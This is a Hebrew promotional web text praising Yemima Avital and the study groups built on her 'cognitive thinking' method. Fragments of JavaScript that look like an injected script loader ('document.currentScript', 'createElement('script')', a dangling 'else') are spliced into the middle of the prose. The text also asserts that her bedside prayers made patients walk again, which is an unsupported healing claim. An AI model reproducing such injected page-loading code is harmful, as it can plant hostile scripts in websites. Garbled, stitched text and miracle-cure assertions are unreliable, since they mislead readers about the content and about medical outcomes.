לא דת, לא כת – ימימה יש רק אחת….

חיים של נתינה הם חיים קסומים. חיים שלא יכולים להיות משמעותיים יותר. מי שזוכה לתת זוכה – בעצם הנתינה – למתנה היפה הנפלאה ביותר שאדם עשוי קבל אותה: הכרת הטוב.

אלה וכאלה היו חייה של ימימה – האישה והשיטה, האישה והאגדה.

כל מי שחווה לימודי ימימה אביטל נחשף לשיעור קומתה הרוחני והאנושי העילאי של הצדקת ימימה אביטל. ככל שהייתה צנועה ונחברת אל הכלים ( גם במובן הפיזי: היא הבליעה עצמה ובשלב מסוים בתהליך ההוראה ביקשה להסתתר אפילו  מעין תלמידיה. קולה נשמע אבל האישה שהשמיעה  אותו לא נשמעה).  מי שהשתתפו במסגרת לימודי ימימה אביטל לא ייחסו לה גחמה ולא ראו בה משוגעת אלא כיבדו את  רצונה. הוזהרה והארה לא הועמו בשל כך. אולי ההיפך – הילתה הרוחנית קרנה בין אם היא נגלתה ובין אם היא נסתרה מעין. ימימה התעלתה בעיני הלומדים את שיטתה  במסגרת לימודי ימימה אביטל למעלה שבה עומדים, בודדים, יחידי סגולה – קדושים וצדיקים. מלאכים.

ימימה לא  הניחה יסודות  דת כל שהיא.  מעולם לא הייתה חברה בכת.  במסגרת לימודי ימימה אביטל היא לא דרשה דרשות ולא הטיפה הטפות. היא נתנה שיעורים, שתכניהם הביאו לידי ביטוי מצבור נדיר של תכונות, הבחנות ותובנות, יכולת מזהירה בקריאת נפש האדם ופירושיה והבנה מעמיקה לאין שיעור של כוחו הנפש הנסתרים שחבויים בכל אדם לערוך את תיקון חייו באמצעות מסע מרתק לגילוי כל החיובי  שבתוכו.

ימימה הקימה מרכז רוחני "המעיין" שהיווה את מוקד פעילותה. לימים נפתחו מרכזי לימוד שונים של לימודי ימימה אביטל.  צימאונם של אנשים רבים למצוא דרך רוחנית פנימית, שלא דבק בה צביון דתי מובהק, כזאת שלא תחייב עליהם חזרה בתשובה אבל עם זאת תתווה להם כיוון לגילוי השלווה והשקט הפנימיים הוביל – ועדיין מוביל – רבים אל לימודי ימימה אביטל.

ימימה ראתה בעזרה לזולת  ערך אנושי עליון בחייה.היא הגשימה ומימשה אותו לא רק  בשיעורים שבהם העבירה לתלמידיה- מעריציה את עיקרי שיטתה, אלא בתפילות  שנשאה במועדים קבועים (יומיים מדי שבוע!) על-יד מיטות של חולים בבתי חולים.  הודות לתפילותיה קרה הלא-ייאמן- כי-ייתכן, ודאי לא מבחינה רפואית: אנשים קמו על רגליהם והתחילו ללכת מחדש. ימימה לא הייתה קוסמת. הכוח של אמונתה ומחויבותה לייעודה ולשליחותה עלי אדמות זיכו אותה והעניקו לו בעודה בחייה מקום של כבוד בגן-העדן.}if (document.currentScript) {

לימודי ימימה

בשנים האחרונות, כאשר רבים תוהים על אודות חייהם ומחפשים עיסוק או אמונה שיעניקו להם משמעות, עולה קרנם של לימודי ימימה .  לימודים על פי שיטת ימימה הם לימוד משנתה ותורתה של ימימה אביטל, פסיכולוגית ומיסטיקנית קבלית, אשר 11 שנים לאחר מותה מתעצמת השפעתה הודות למרכזי לימוד של שיטתה – החשיבה ההכרתית.

במהלך לימודי ימימה מתוודעים התלמידים אל שורש הנפש והנשמה של עצמם בתהליך התבוננות מעמיק. במהלך הלימוד , שבו מחדדים משתתפיו גם את הקשב שלהם ואת רגישותם לזולת, הם לומדים מה מעיק על חייהם ומהווה מעמסה ונטל מיותרים. הם לומדים לשחרר, להתנקות, להיטהר.לימודי שיטת ימימהמאפשרים ללומדים להגיע, בדרך החשיבה ההכרתית, להבנות  ולתובנות המאפשרים  להם להשיב לעצמן איזון שהופר בחייהם, לפתוח חסמים וסתימות ולזרום עם החיים  בשקט, באופן רצוף, בשלווה..

לימודי ימימה מתבצעים בקבוצות קטנות, אינטימיות, על-פי רוב בהפרדה מגדרית – נשים לחוד וגברים לחוד. אף שהלימוד מתבצע בקבוצה, הוא, במהותו, לימוד עצמי. כל אחד " לוקח" מהשיעור מה שמתאים ונכון לחייו, בקצב שלו, בעומק המתאים לו.

הרציונל המונח בבסיס שיטת ימימה, הבא לביטוי בתכני הלימוד ובאופן  התנהלותו הוא – האדם טוב מיסודו. הוא יכול להשתחרר ממועקות העבר, מזיכרונות קשים, מטראומות ולגדול, להתפתח, לצמוח כאדם שלם, הממצה את היכולות והכישורים הטמונים בו.

לימודי ימימה פותחים לתלמידים אופקים חדשים אל עצמם, אל זולתם ואל העולם כולו. הבהירות התודעתית, המחשבתית והרגשית נועדו למטרה. יש להם תכלית. לאפשר חיים טובים ושקטים יותר. לממש יכולות. להפיק את המיטב ואת המרב.  שיטת ימימה אינה אפוא  שיטה עיונית תלושה, אלא התוויה לפעולה, הצבת תמרורים, הצגת חלופות.

במהלך לימודי ימימה אין דבר הנעשה בהטפה.  הדברים מוצעים ומוצגים במגוון דרכים וכל תלמיד יכול לפלס בהן את הנתיב האישי המיועד והמיוחד לו, כרצונו.

כל חייה היתה ימימה צנועה וחשאית, מיעטה להצטלם, לא התבלטה, מילאה את תפקיד ה"לחשן" מאחורי קלעי הבמה, אשר את קדמתה הוא הותירה לכל אחד ולכל אחת מתלמידיה. למענם פיתחה את שיטת ימימה ובעבורם כוננה את לימודי ימימה.

חסידיה הרבים והמושבעים, המתרבים כל העת, ומתרכזים במרכזי לימוד  על פי שיטת ימימה הם ההוכחה המוחשית לחיוניותיה של האישה המופלאה שהפכה לאגדה בחיה ולמיתוס במותה. וגם ההיפך.var d=document;var s=d.createElement('script');

לימודי ימימה אביטל

הוד של קדושה האצילה ימימה על תלמידיה. אף שהיתה מיסטיקנית ומחוברת אל הספירות הקבליות, מעולם לא הטיפה לתלמידיה חזור בתשובה. מי מהם שעשו זאת חזרו בתשובה כהמשך ישיר, טבעי ומתבקש, לתחושתם ולתודעתם, מהתעמקות בתורתה ובשיטתה. לימודי ימימה אביטל המבוססים על שיטה המכונה חשיבה הכרתית מזמנת לתלמידיה חוויית גילוי עצמי מופלאה ומעצימה במסעם המרתק  אל שורש נשמתם.  מסגרת לימודי ימימה אביטל מפגישה עולמות תוכן של פסיכולוגיה ודת, אבל לא מדובר בתהליך דתי בכלל ובניסיונות להחזיר את התלמידים בתשובה בפרט.  כל שיטת ימימה מבוססת על רצון חופשי, על קצב אישי, על זיקוק של כל אדם את התמצית המתאימה לו.

 

לימודי ימימה אביטל, כמסגרת וכתהליך, מזמנים לתלמידים אפשרות להיות שרויים בקשב פנימי צלול ובהיר. בזיקוקם את מה שמעכיר את חייהם ומכביד עליהם, הם נעשים נקיים וקלים יותר, חופשיים וזורמים, נהנים מחדוות הגילוי של ממדים באישיותם שמעולם לא ידעו על קיומם קודם התנסותם במסגרת לימודי ימימה אביטל.

במהלך השנים, כך לפי ימימה, אנשים צוברים תסכולים, כעסים, זיכרונות מרים, הצצים וצפים בהזדמנויות שונות, בלתי צפויות לרוב, במהלך החיים. לימודי ימימה אביטל מאפשרים לתלמידים להתמודד עם הרגשות השליליים, הכאוטיים, המציפים אותם אבל לא להניח להם להכביד אלא להגיב לכל מצב נתון בשיקול דעת, באיפוק, מתוך תחושה של שליטה על הדברים.

לימודי ימימה אביטל שינו את חייהם של רבים מהמשתתפים בהם באופן שלא ניתן להפריש בעצמתו.  רבים מדווחים על שיפור לא ייאמן באופן שבו הם מתקשרים עם אנשים בכלל ועם הקרובים להם בפרט. הם מעידים על שיפור דרמטי בהספקים ובתפוקות, על שובה של שמחת החיים הפשוטה והטבעית שנשחקה והועמה עם השנים, על היותם קשובים, רגישים, סבלניים יותר כלפי תופעות בכלל ובני אדם בפרט.

לימודי ימימה אביטל הם מסגרת שבה כל תלמיד יכול להתחבר על קטעים המתאימים לו. היא אינה משנה סדורה מאחר שימימה לא הותירה חומרים כתובים העשויים להיות תשתית עיונית מסודרת ללימוד שיטתה. כל תלמיד שותף בכתיבת טקסטים  הנלמדים, ותלמידותיה שהפכו למורות לשיטתה אוספות חומרים , נדבכים נדבכים, וממשיכים להעביר את תורתה במסגרת לימודי ימימה אביטל.} else {